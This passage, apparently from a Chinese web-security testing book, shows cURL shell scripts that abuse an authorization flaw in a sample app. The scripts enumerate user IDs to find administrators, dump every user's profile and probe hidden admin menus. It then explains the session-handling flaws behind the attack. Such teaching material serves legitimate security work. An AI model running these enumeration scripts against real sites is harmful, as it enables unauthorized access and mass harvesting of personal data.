cURL是自动化测试的一个奇妙的工具。例如,假设你审核一个顺序发放用户ID的应用。你已经识别了用户查看他的简档信息所必需的会话令牌:uid(数字化的用户ID)和sessid(会话ID)。URL请求是一个GET命令,传递这些参数:menu=4(指出查看简档菜单的数字),userID=uid(用户ID在Cookie和URL中传递),profile=uid(查看的简档,假定是用户自己的)和r=874bace2(用户第一次登录时分配的随机数)。完整的请求如下:
GET /secure/display.php?menu=4&userID=24601&profile=24601&r=874bace2 Cookie: uid=24601; sessid=99834948209
我们已经确定可以修改URL上的userID参数,以便查看其他人的简档(包括修改密码提醒发送的电子邮件地址)。现在,我们知道用户ID是顺序生成的,但是不知道哪个用户属于应用管理员。换句话说,我们必须确定哪个用户ID能够查看任意简档。少量的人工测试可以揭示,如果我们使用错误的profile和userID值的组合,应用将返回“You are not authorized to view this page(你没有查看本页的授权)”,而成功的请求返回“Membership profile for...(...成员简档)”,两者都返回HTTP 200代码。我们将使用两个cURL脚本来自动化这一检查。
第一个cURL脚本用于确定其他用户ID能够查看我们的简档。如果另一个用户能够查看我们的简档,那么就假定它属于管理员。这个脚本测试前100000个用户ID:
#!/bin/sh USERID=1 while [ $USERID -le 100000 ] ; do echo -e "$USERID ******\n" >\> results.txt 'curl -v -G \ -H 'Cookie: uid=$USERID; sessid=99834948209' \ -d 'menu=4' \ -d 'userID=$USERID' \ -d 'profile=24601' \ -d 'r=874bace2' \ --url https://www.victim.com/ results.txt' echo -e "*********\n\n" >\> results.txt UserID='expr $USERID + 1' done exit
脚本执行之后,我们仍然必须手工搜索results.txt文件以确认成功,但是这很简单,只要运行grep搜索“Membership profile for”。在这个场景中,用户ID1001、19293和43000能够查看我们的简档——我们发现了3个管理员!
接下来,我们将使用第二个脚本,通过顺序检查简档列举所有使用中的用户ID。这次保持userID不变而递增profile值。我们使用管理员用户ID 19293:
#!/bin/sh PROFILE=1 while [ $PROFILE -le 100000 ] ; do echo -e "$PROFILE ******\n" >\> results.txt 'curl -v -G \ -H 'Cookie: uid=19293; sessid=99834948209' \ -d 'menu=4' \ -d 'userID=19293' \ -d 'profile=$PROFILE' \ -d 'r=874bace2' \ --url https://www.victim.com/ results.txt' echo -e "*********\n\n" >\> results.txt UserID='expr $PROFILE + 1' done exit
一旦脚本结束运行,我们就已经列举了应用中每个活跃用户的简档信息。
再一次审视URL的查询串参数(menu=4&userID=24601&profile=24601&r=874bace2)之后,我们又想起了第三种攻击。目前我们已经以低权限用户访问了应用。也就是说,我们的用户ID号24601已经有了有限数量的菜单选项的权限。另一方面,用户ID号为19293的管理员可能有更多可用的菜单选项。我们没有管理员的用户密码,因而无法以其身份登录。但是,我们已经看到了应用的用于低权限用户的部分。
第三次攻击很简单。我们修改cURL脚本枚举应用的菜单值。因为我们不知道结果,所以创建这个脚本,从命令行接受菜单号并且将服务器的响应打印到屏幕:
#!/bin/sh # guess menu options with curl: guess.sh curl -v -G \ -H 'Cookie: uid=19293; sessid=99834948209' \ -d 'menu=$1' \ -d 'userID=19293' \ -d 'r=874bace2' \ --url https://www.victim.com/
下面是执行脚本的方法:
$ ./guess.sh 4 $ ./guess.sh 7 $ ./guess.sh 8 $ ./guess.sh 32
表5-11展示了手工测试的结果。
表5-11 在查询串参数“menu”中进行人工参数注入的结果
这个例子中我们跳过了一些号码,但是看起来2的幂次(4,8,16,32)都返回不同的菜单。这在某种程度上是有意义的。应用可能使用8位的掩码来代表特定的菜单。例如,简档菜单用二进制表示为00000100(4),而删除用户为00100000(32)。位掩码只是引用数据的一种方法。这个例子有两个要点。第一,检查所有的应用参数,以便测试全部的功能。第二,寻找应用中的趋势。趋势可能是命名惯例或者数字的连续性,正如我们在这里看到的。
还有最后一种攻击我们尚未尝试——枚举sessid值。这些cURL脚本很容易修改成枚举有效的sessid值;我们将这留给读者作为练习。
在结束cURL的讨论之前,我们来研究一下这些攻击成功的原因:
·拙劣的会话处理: 这个应用跟踪sessid cookie和URL中的r值;但是,应用没有将这些值与用户ID号关联。换句话说,一旦我们验证到应用,需要保持验证的就是sessid和r值。uid和userID值用于检查授权——账户是否能够访问特定的简档。通过破坏授权令牌(uid、userID、sessid、r)的同步,我们能够仿冒其他用户并且获得访问特权。如果应用检查uid值与初次建立会话时的sessid值匹配,那么应用就能阻止这种攻击,因为仿冒的尝试使用了与uid不能对应的错误sessid。
·没有强制的会话超时: 应用没有在6个小时之后使会话令牌(sessid)到期。这是很复杂的一点,因为从技术上在列举100000个用户期间,会话都是活跃的。但是,应用仍然可以强制会话的绝对超时值,比如一个小时,并且要求用户重新验证。重新验证并不能阻止攻击,但是在会话ID被劫持或者盗用时对于减缓这种危害有帮助。这能够在共享环境(如大学计算机实验室)中保护用户,使攻击者不能取得他们的会话,也能防止会话完成攻击,攻击者无法将会话的失效时间改成不切实际的未来时点。